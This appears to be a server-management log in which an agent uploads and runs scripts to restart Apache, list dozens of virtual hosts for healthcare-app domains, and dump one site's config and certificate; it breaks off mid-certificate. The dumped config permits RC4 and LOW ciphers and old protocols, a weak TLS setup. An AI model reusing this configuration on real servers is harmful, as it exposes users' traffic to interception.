2025-08-30 06:02:51:
chmod 755 /tmp/pkp810010; /tmp/pkp810010; rm /tmp/pkp810010
2025-08-30 06:02:51:
2025-08-30 06:02:51:
PUT: /tmp/pkp870611
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-30 06:02:52:
chmod 755 /tmp/pkp870611; /tmp/pkp870611; rm /tmp/pkp870611
2025-08-30 06:02:52:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-30 06:02:52: Establishing a connection
2025-08-30 06:02:52:
PUT: /tmp/pkp111153
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-30 06:02:52:
chmod 755 /tmp/pkp111153; /tmp/pkp111153; rm /tmp/pkp111153
2025-08-30 06:02:52:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-30 06:02:52:
PUT: /tmp/pkp828655
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:02:52:
chmod 755 /tmp/pkp828655; /tmp/pkp828655; rm /tmp/pkp828655
2025-08-30 06:02:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 1744
<VirtualHost *:80>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2025-08-30 06:02:52:
PUT: /tmp/pkp399688
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:02:52:
chmod 755 /tmp/pkp399688; /tmp/pkp399688; rm /tmp/pkp399688
2025-08-30 06:02:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt 5382
be:8b:dd:39:ee:74:fe:7d:c8:f0:50:73:c9:76:b4:8a
-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBt76Dv+h39GoNJsKOX80RrpdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNDIwWhcNMjUxMTI4MDUwNDE5WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAnZIZUtypx6N1QZGQ3ftlA3ukU3Qb9TeXi3WVNRb4P+Jp
hZm7U7vzWt+TGVqc+FKJfMqfIN1gGC7k+VlrlTtW2A53jr4PazMsvKPIMcqoGdDZ
m12h6e5upxqTVcVbMrHrKgUCgZY/Joj3QLM3foxVWPVjpUWW8qeygGuuQLxGH5mX
